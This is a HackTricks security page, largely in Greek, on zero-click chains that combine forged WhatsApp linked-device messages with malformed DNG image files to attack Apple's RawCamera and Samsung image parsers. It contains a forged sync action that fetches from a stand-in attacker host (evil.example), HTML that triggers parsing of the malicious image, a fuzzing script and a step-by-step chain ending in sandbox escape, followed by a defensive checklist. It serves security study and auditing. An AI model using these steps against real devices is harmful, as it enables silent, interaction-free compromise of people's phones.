Zero-click Messaging → Image Parser Chains

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

TL;DR

  • Θεωρήστε τα messaging app multi-device/companion protocols ως κανάλια απομακρυσμένου ελέγχου: αν τα πεδία του πρωτοκόλλου υποτίθεται ότι προέρχονται από αξιόπιστες συσκευές, μπορεί παρ’ όλα αυτά να είναι ελεγχόμενα από χρήστες και συχνά μπορούν να επαναπαιχτούν απευθείας εναντίον ενός θύματος για να φορτώσουν αυθαίρετο περιεχόμενο με χωρίς καμία αλληλεπίδραση χρήστη.
  • Μόλις μια εφαρμογή εξαναγκαστεί να κατεβάσει μη αξιόπιστα μέσα, στοχεύστε το κοινό pipeline πολυμέσων του OS (RawCamera on iOS/macOS, vendor parsers on Android OEM builds) με κακομορφομένα αρχεία για να διαφύγετε από το sandbox.
  • Τα σφάλματα στον DNG-based RawCamera και στον Samsung parser που συζητούνται εδώ είναι συγκεκριμένα παραδείγματα, αλλά η πλήρης τεχνική είναι ένα επαναχρησιμοποιήσιμο σχέδιο για την αλυσίδωση λογικών σφαλμάτων → image parser memory corruption → πλήρης συμβιβασμός συσκευής.

Remote content loading via WhatsApp linked-device commands

Attack surface recap

Η αρχιτεκτονική των WhatsApp “linked devices” κρατά το κύριο τηλέφωνο και κάθε companion (desktop, tablet, δεύτερο τηλέφωνο) συγχρονισμένα μέσω κρυπτογραφημένων, δομημένων μηνυμάτων πρωτοκόλλου. Κάθε μήνυμα κωδικοποιεί:

  • Μεταδεδομένα συσκευής (device ID, capabilities, feature flags).
  • Περιγραφείς ενεργειών (π.χ., συγχρονισμός συνομιλιών, λήψη μικρογραφιών, απόδοση απομακρυσμένου περιεχομένου).
  • Αυθαίρετες παράμετροι όπως URIs, MIME hints, κλειδιά pagination, κ.λπ.

Σε Apple clients, ο χειριστής που επεξεργαζόταν αυτά τα linked-device control πακέτα εμπιστευόταν εξ ορισμού ότι είχε γίνει έγκυρο pairing, οπότε πεδία μεγάλης επίδρασης (π.χ., resource_url, open_media, sync_snapshot) επαληθεύονταν μόνο ελάχιστα. Ένα κακόβουλο companion μήνυμα θα μπορούσε επομένως:

  1. Να δρομολογηθεί σε οποιονδήποτε λογαριασμό ταυτοποιημένο με τον αριθμό τηλεφώνου του.
  2. Να περάσει το transport stack (Noise protocol + WhatsApp protobuf framing) επειδή ο παραλήπτης ποτέ δεν επαλήθευσε ότι ο αποστολέας ήταν νόμιμα paired συσκευή.
  3. Να φτάσει στον iOS client, όπου η ευάλωτη διαδρομή κώδικα ενεργοποιούσε αυτόματα ένα background HTTP(S) αίτημα προς το URL του επιτιθέμενου και ανάλυε την απάντηση σε ένα κρυφό WebView/media renderer.

Practical workflow for auditors

  1. Capture legitimate linked-device traffic. Συνδέστε έναν debugger ή ένα Frida script στο desktop/iOS client και κάντε hook τον post-decryption handler (π.χ., LinkedDevicesSyncHandler::processAction). Dump decoded protobuf payloads για να μάθετε τους διαθέσιμους τύπους ενεργειών και παραμέτρους.
  2. Identify fields that cross trust boundaries. Οποιαδήποτε ενέργεια περιέχει παραμέτρους όπως http_url, thumbnail_uri, download_url, ή render_html χωρίς αυστηρές allow-lists είναι υποψήφια ως primitive απομακρυσμένου περιεχομένου.
  3. Forge a malicious action. Επαναχρησιμοποιήστε το παρατηρούμενο protobuf schema και τροποποιήστε μόνο τα attacker-controlled πεδία. Μια απλοποιημένη JSON άποψη της σχετικής λογικής δομής δείχνεται παρακάτω (το πραγματικό transport είναι protobuf/Noise, αλλά τα σημασιολογικά πεδία ταιριάζουν):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
  1. Παράδοση στο θύμα. Αναπαράγετε το κατασκευασμένο πακέτο μέσω της ίδιας υπηρεσίας WhatsApp που συνήθως προωθεί την κίνηση linked-device (π.χ., χρησιμοποιώντας έναν τροποποιημένο desktop client ή έναν custom Noise client που επαναχρησιμοποιεί τα attacker account keys). Επειδή το CVE-2025-55177 δεν έδενε τις ενέργειες με authenticated devices, ο iOS/macOS πελάτης του θύματος θα δεχόταν το μήνυμα και θα έκανε άμεσα fetch το attacker URL χωρίς οποιοδήποτε UI.
  2. Παρακολούθηση του fetch. Παρατηρήστε το εξαναγκασμένο HTTP(S) request και τον εσωτερικό renderer (WKWebView/ImageIO). Σε αυτό το σημείο έχετε ένα zero-click web delivery primitive μέσα στο WhatsApp.

Εκμετάλλευση των αυτόματα αποκωδικοποιούμενων DNGs εναντίον του RawCamera

Μόλις ο επιτιθέμενος ελέγχει τι φορτώνει το WhatsApp, ο επόμενος στόχος είναι να κάνει το iOS/macOS να αναλύσει ένα κακόβουλο Digital Negative (DNG) αρχείο με το RawCamera framework. Οποιοδήποτε ενσωματωμένο <img>/CSS URL που επιλύεται σε .dng θα περάσει στο system image pipeline, καλώντας το RawCamera ακόμα και αν το ίδιο το WhatsApp δεν χειρίστηκε ρητά DNGs.

Προκλήση RawCamera από το WhatsApp

  • Παρέχετε HTML που αναφέρεται στο DNG μέσω πολλαπλών μηχανισμών (π.χ., <img src="evil.dng">, CSS background-image: url('evil.dng'), ή <picture> sources) για να καλύψετε διαφορετικές διαδρομές rendering.
  • Βεβαιωθείτε για το σωστό MIME (image/x-adobe-dng) και μικρές προεπισκοπήσεις ώστε ο loader να μην τερματίσει πρόωρα λόγω ευρετικών μεγέθους.
  • Το iOS media sandbox θα ροήσει το αρχείο στο RawCamera μέσω του CGImageSourceCreateWithURL, τελικά φτάνοντας τον ευάλωτο decoder.

Δημιουργία DNGs που προκαλούν αλλοίωση μνήμης (CVE-2025-43300 τύπου)

Το bug του 2025 που βρέθηκε σε πραγματικές συνθήκες ήταν πιο συγκεκριμένο από ένα γενικά κακομορφωμένο TIFF: το DNG περιείχε JPEG-Lossless δεδομένα εικόνας των οποίων ο εσωτερικός αριθμός συνιστωσών SOF3 δεν συμφωνούσε με τα TIFF/DNG metadata (SamplesPerPixel). Στην πράξη, το RawCamera μπορούσε να καθορίσει το μέγεθος κάποιων buffers από τα εξωτερικά TIFF πεδία και αργότερα να εμπιστευτεί το ενσωματωμένο JPEG-Lossless stream κατά την αποκωδικοποίηση, οδηγώντας στην εγγραφή εκτός ορίων που επιδιορθώθηκε σε iOS 18.6.2 / iPadOS 18.6.2 on August 20, 2025.

Αυτό δίνει στους ελεγκτές έναν πολύ πιο αυστηρό κανόνα αξιολόγησης από το «mutate random tags»:

exiftool -s -SamplesPerPixel -BitsPerSample -Compression poc.dng
python3 - <<'PY'
from pathlib import Path
data = Path('poc.dng').read_bytes()
sof3 = data.index(b'\xff\xc3')
print('SOF3 components =', data[sof3 + 9])
PY

Εάν οι SamplesPerPixel και ο αριθμός συνιστωσών στο SOF3 αποκλίνουν, βρίσκεστε πολύ κοντά στο ακριβές primitive που συζητήθηκε δημόσια για το CVE-2025-43300. Οι ακόλουθοι τυπικοί γειτονικοί μοχλοί αξίζουν fuzzing μόλις αποκτήσετε το parsing path:

  • Tile/strip descriptors: Set TileByteCounts/StripByteCounts to realistic values but increase TileOffsets to point beyond the allocated buffer.
  • Sub-IFD chains: Embed secondary images with conflicting ImageWidth/ImageLength and BitsPerSample so RawCamera computes a small buffer while later stages trust attacker-controlled dimensions.
  • Opcode metadata: Manipulate OpcodeList3 entries so that per-row processing operates on attacker-chosen indexes.

A basic mutation harness to hunt for such corruptions can be built around macOS, since the same RawCamera code ships on macOS/iOS/iPadOS:

#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done

Κάθε crash στο RawCamera σας δίνει ένα νέο primitive. Το δημοσιευμένο PoC πέτυχε ένα καθαρό out-of-bounds read/write αρκετά αξιόπιστο για να προκαλέσει crash στο WhatsApp σε iPhone, iPad και Mac.

Building the 0-click chain

  1. Linked-device packet → αναγκάζει το WhatsApp να κάνει fetch το https://evil.example/payload.html χωρίς κανένα πάτημα.
  2. Payload HTML → σιωπηρά αναφέρεται σε evil.dng, διασφαλίζοντας ότι το RawCamera καλείται από το OS media stack.
  3. Malicious DNG → χρησιμοποιεί κατασκευασμένα tags για να πυροδοτήσει το RawCamera OOB και να crash/own τον image decoder.
  4. Post-corruption exploitation → προσθέτει info-leak gadgets (π.χ. εκμετάλλευση predictable heap metadata) και στήνει μια ROP/JOP chain για να διαφύγει από το WhatsApp sandbox και να αποκτήσει πρόσβαση σε πιο privileged contexts.

Επειδή κάθε βήμα είναι αυτόματο, ο attacker χρειάζεται μόνο τον αριθμό τηλεφώνου του θύματος. Δεν εμφανίζονται ειδοποιήσεις, banners ή prompts στη συσκευή-στόχο.

Recent Apple parser-chain patterns worth reusing

Αυτή η αλυσίδα WhatsApp → DNG → RawCamera ταιριάζει με το ίδιο μοτίβο σχεδίασης που παρατηρήθηκε σε πρόσφατες Apple zero-click καμπάνιες: βρείτε έναν alternate attachment wrapper που φτάνει σε έναν λιγότερο περιορισμένο parser, και μετά όπλιζε ένα file format που το OS προεπισκοπεί πρόθυμα.

  • BLASTPASS (September 7, 2023 / iOS 16.6.1): Citizen Lab ανέφερε κακόβουλα PassKit attachments που περιείχαν εικόνες, και η Apple έσβησε patches για Wallet (CVE-2023-41061) καθώς και ImageIO (CVE-2023-41064). Η μετέπειτα ανάλυση του Project Zero έδειξε γιατί αυτό έχει σημασία σε επιχειρησιακό επίπεδο: ο attacker δεν χρειαζόταν μόνο ένα parser bug, αλλά και ένα container που μετέφερε την ανάλυση εικόνων εκτός της κανονικής BlastDoor διαδρομής σε διαφορετική διεργασία. Όταν κάνετε audit σε messaging apps, απαριθμήστε κάθε τύπο attachment που ενεργοποιεί background previews σε helper daemons (.pkpass, contact cards, sticker bundles, inline HTML, QuickLook previews), όχι μόνο τα προφανή image attachments.
  • TRIANGULATION (patched in iOS 15.7.8 on July 24, 2023, with the mainline fix already in iOS 16.3): Η Kaspersky έδειξε ότι ένα κακόβουλο iMessage attachment προσέβαλε την μη τεκμηριωμένη Apple-only ADJUST TrueType instruction (CVE-2023-41990). Το πρακτικό μάθημα είναι ότι οι γραμματοσειρές είναι “image-parser cousins” για zero-click δουλειές: οι προεπισκοπήσεις rich-text, το font fallback και η δημιουργία thumbnails μπορούν όλα να γίνουν entry points για parsers ακόμα και όταν η εφαρμογή ισχυρίζεται ότι υποστηρίζει μόνο “documents” ή “stickers”.

Η επαναλαμβανόμενη ερώτηση ελέγχου είναι επομένως: ποιοι τύποι μηνυμάτων προκαλούν σιωπηλή parsing σε μια διεργασία διαφορετική από τον προφανή chat renderer; Συνήθως εκεί αρχίζει η αλυσίδα. Για τριάζ και cross-field consistency checks όταν έχετε ένα ύποπτο αρχείο, επαναχρησιμοποιήστε αυτή τη σελίδα ανίχνευσης γενικής δομικής δομής αρχείων: ../../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/structural-file-format-exploit-detection.md

Samsung vendor image parser parallels

Το bulletin της Samsung για το CVE-2025-21043 επιβεβαίωσε ότι το ιδιόκτητο image parsing stack τους (που χρησιμοποιείται από Gallery, Messages και έμμεσα από WhatsApp) υπέφερε ένα out-of-bounds write προσβάσιμο μέσω μη αξιόπιστου μέσου. Η μεθοδολογία εκμετάλλευσης καθρεφτίζει την Apple αλυσίδα:

  • Εντοπίστε ένα auto-preview vector (chat thumbnails, notification previews, share sheets) που αναλύει το αρχείο του attacker με τις βιβλιοθήκες της Samsung libimagecodec/libOneUI_ImageDecoder.
  • Diff-άρετε ενημερώσεις βιβλιοθηκών OEM ή fuzz-άρετε parsers με κατεστραμμένα RAW/DNG αρχεία μέχρι να δείτε memory corruptions παρόμοια με το RawCamera crash (clobber σε heap metadata, έλεγχο registers, κ.λπ.).
  • Παραδώστε το κατασκευασμένο αρχείο μέσω οποιουδήποτε καναλιού που ήδη auto-loads περιεχόμενο (π.χ. το ίδιο linked-device primitive, WhatsApp preview fetchers, ή Android push-to-talk waveform previews).

Μόλις υπάρχει ένα OOB write στον vendor parser, ο συνδυασμός του με το WhatsApp auto-fetch primitive αποδίδει άλλη μια zero-click αλυσίδα σε συσκευές Samsung.

Testing & hardening checklist

  • Protocol validation: Εφαρμόστε αυστηρές allow-lists για κάθε linked-device action. Συνοδευτικές εντολές που ζητούν fetch/render πρέπει να αποδεικνύουν το device pairing (signing του payload) και το URL θα πρέπει να ταιριάζει με allow-list ή signed blob.
  • Transport replay countermeasures: Δέστε κάθε ενέργεια σε ένα per-device key και απορρίψτε πακέτα των οποίων το sender key είναι άγνωστο, ακόμη και αν η protobuf σύνταξη είναι σωστή.
  • Media pipeline restrictions: Οι εφαρμογές υψηλού επιπέδου θα πρέπει να επιτρέπουν μόνο εγκεκριμένους MIME τύπους και να απορρίπτουν ρητά RAW/DNG εκτός εάν η λειτουργία απαιτείται.
  • Parser fuzzing regression tests: Διατηρείστε ένα corpus κατεστραμμένων RAW/DNG αρχείων και τρέξτε τα απέναντι σε RawCamera/vendor decoders μετά από κάθε ενημέρωση.
  • Crash triage automation: Προσθέστε DYLD_INSERT_LIBRARIES sanitizers ή MTE σε fuzz συσκευές για να πιάσετε λεπτές OOB συνθήκες πριν το κάνουν οι attackers.

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks